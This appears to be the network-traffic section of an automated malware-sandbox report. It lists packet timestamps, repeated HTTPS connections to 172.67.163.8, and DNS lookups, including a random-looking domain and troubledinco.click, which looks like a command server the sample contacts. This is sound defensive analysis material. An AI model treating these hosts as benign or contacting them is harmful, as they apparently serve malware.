                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.014039993 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.014122009 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.014847040 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.014885902 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.014961958 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.015743971 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.015783072 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.015866995 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.016849995 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.016894102 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.016912937 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.017632008 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.017669916 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.017749071 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.018502951 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.018543005 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.018642902 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.019326925 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.019362926 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.019460917 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.020211935 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.020251989 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.020262003 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.021150112 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.021203995 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.021224022 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.021965027 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.022012949 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.022069931 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.022922993 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:07.022964001 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:52.012173891 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:18:52.012206078 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:07.215414047 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:07.335674047 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:37.012440920 CET49746443192.168.2.4162.159.61.3
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:37.012475967 CET44349746162.159.61.3192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:39.431965113 CET4974780192.168.2.4159.100.18.192
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:39.551409006 CET8049747159.100.18.192192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:53.492917061 CET49973443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:53.492971897 CET44349973172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:53.493133068 CET49973443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:53.498322964 CET49973443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:53.498342991 CET44349973172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:54.713212967 CET44349973172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:54.713413954 CET49973443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:54.714867115 CET49973443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:54.714876890 CET44349973172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:54.715085030 CET44349973172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:54.762521982 CET49973443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:54.767452002 CET49973443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:54.767456055 CET49973443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:54.767529011 CET44349973172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:55.485447884 CET44349973172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:55.485532045 CET44349973172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:55.485631943 CET49973443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:55.488138914 CET49973443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:55.488147020 CET44349973172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:55.530363083 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:55.530396938 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:55.530473948 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:55.530721903 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:55.530733109 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:56.743133068 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:56.743217945 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:56.744534969 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:56.744548082 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:56.744780064 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:56.746352911 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:56.746352911 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:56.746423006 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.475665092 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.475728989 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.475760937 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.475778103 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.475791931 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.475831032 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.475836992 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.483350992 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.483392954 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.483405113 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.491750002 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.491794109 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.491799116 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.500228882 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.500272989 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.500277996 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.543809891 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.594918013 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.637540102 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.637546062 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.671118021 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.671152115 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.671173096 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.671179056 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.671211958 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.671216965 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.671248913 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.671284914 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.671421051 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.671433926 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.671449900 CET49979443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.671454906 CET44349979172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.696952105 CET49985443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.696969986 CET44349985172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.697065115 CET49985443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.697355986 CET49985443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:57.697372913 CET44349985172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:58.907748938 CET44349985172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:58.907835960 CET49985443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:58.908998966 CET49985443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:58.909007072 CET44349985172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:58.909235001 CET44349985172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:58.910382032 CET49985443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:58.910573959 CET49985443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:58.910610914 CET44349985172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:58.910670996 CET49985443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:58.910679102 CET44349985172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:00.112133980 CET44349985172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:00.112235069 CET44349985172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:00.112277985 CET49985443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:00.112373114 CET49985443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:00.112382889 CET44349985172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:00.136857033 CET49991443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:00.136874914 CET44349991172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:00.136936903 CET49991443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:00.137430906 CET49991443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:00.137443066 CET44349991172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:01.351222992 CET44349991172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:01.351316929 CET49991443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:01.352524042 CET49991443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:01.352535009 CET44349991172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:01.352780104 CET44349991172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:01.353882074 CET49991443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:01.354007006 CET49991443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:01.354007006 CET49991443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:01.354038000 CET44349991172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:02.111972094 CET44349991172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:02.112066984 CET44349991172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:02.112122059 CET49991443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:02.112215042 CET49991443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:02.112224102 CET44349991172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:02.190100908 CET49997443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:02.190124035 CET44349997172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:02.190289974 CET49997443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:02.190582991 CET49997443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:02.190596104 CET44349997172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:03.402062893 CET44349997172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:03.402189970 CET49997443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:03.423908949 CET49997443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:03.423923969 CET44349997172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:03.424181938 CET44349997172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:03.425276041 CET49997443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:03.425407887 CET49997443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:03.425441027 CET44349997172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:03.425503016 CET49997443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:03.425512075 CET44349997172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:04.311173916 CET44349997172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:04.311259985 CET44349997172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:04.311311007 CET49997443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:04.311482906 CET49997443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:04.311491966 CET44349997172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:04.548755884 CET50003443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:04.548775911 CET44350003172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:04.548851013 CET50003443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:04.549395084 CET50003443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:04.549410105 CET44350003172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:05.759599924 CET44350003172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:05.759691000 CET50003443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:05.760869026 CET50003443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:05.760880947 CET44350003172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:05.761109114 CET44350003172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:05.762156963 CET50003443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:05.762227058 CET50003443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:05.762232065 CET44350003172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:06.776674986 CET44350003172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:06.776776075 CET44350003172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:06.776824951 CET50003443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:06.777115107 CET50003443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:06.777127028 CET44350003172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:07.128495932 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:07.128536940 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:07.128670931 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:07.128940105 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:07.128952026 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.341747046 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.341833115 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.342986107 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.342999935 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.343219995 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.344389915 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345114946 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345144987 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345231056 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345259905 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345360041 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345380068 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345504999 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345525980 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345647097 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345670938 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345803976 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345828056 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345838070 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345959902 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.345988989 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.391340971 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.391599894 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.391639948 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.391650915 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.439340115 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.439562082 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.439605951 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.439635038 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.487335920 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.487476110 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.535339117 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:08.708338976 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:11.398367882 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:11.398466110 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:11.398515940 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:11.398575068 CET50009443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:11.398588896 CET44350009172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:11.401405096 CET50020443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:11.401441097 CET44350020172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:11.401519060 CET50020443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:11.401770115 CET50020443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:11.401787043 CET44350020172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:12.615600109 CET44350020172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:12.615689993 CET50020443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:12.616957903 CET50020443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:12.616967916 CET44350020172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:12.617213011 CET44350020172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:12.618338108 CET50020443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:12.618369102 CET50020443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:12.618407011 CET44350020172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:13.356812954 CET44350020172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:13.356914043 CET44350020172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:13.356971025 CET50020443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:13.357110977 CET50020443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:13.357125998 CET44350020172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:13.357139111 CET50020443192.168.2.4172.67.163.8
                                                                                                                                                                                                                                        Dec 10, 2024 10:20:13.357142925 CET44350020172.67.163.8192.168.2.4
                                                                                                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:37.478976011 CET5418353192.168.2.41.1.1.1
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:37.616063118 CET53541831.1.1.1192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.003137112 CET5430653192.168.2.41.1.1.1
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.003582001 CET5611753192.168.2.41.1.1.1
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.140010118 CET53543061.1.1.1192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.140185118 CET53561171.1.1.1192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:43.574605942 CET5289853192.168.2.41.1.1.1
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:43.798968077 CET53528981.1.1.1192.168.2.4
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:53.186081886 CET5780853192.168.2.41.1.1.1
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:53.487958908 CET53578081.1.1.1192.168.2.4
                                                                                                                                                                                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:37.478976011 CET192.168.2.41.1.1.10x126aStandard query (0)www.google.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.003137112 CET192.168.2.41.1.1.10x26abStandard query (0)chrome.cloudflare-dns.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.003582001 CET192.168.2.41.1.1.10x8eaaStandard query (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:43.574605942 CET192.168.2.41.1.1.10x8336Standard query (0)sBpfpTArYhs.sBpfpTArYhsA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:53.186081886 CET192.168.2.41.1.1.10xa3f0Standard query (0)troubledinco.clickA (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:37.616063118 CET1.1.1.1192.168.2.40x126aNo error (0)www.google.com142.250.181.68A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.140010118 CET1.1.1.1192.168.2.40x26abNo error (0)chrome.cloudflare-dns.com162.159.61.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.140010118 CET1.1.1.1192.168.2.40x26abNo error (0)chrome.cloudflare-dns.com172.64.41.3A (IP address)IN (0x0001)false
                                                                                                                                                                                                                                        Dec 10, 2024 10:17:50.140185118 CET1.1.1.1192.168.2.40x8eaaNo error (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                                                                                                                                        Dec 10, 2024 10:19:43.798968077 CET1.1.1.1192.168.2.40x8336Name error (3)sBpfpTArYhs.sBpfpTArYhsnonenoneA (IP address)IN (0x0001)false
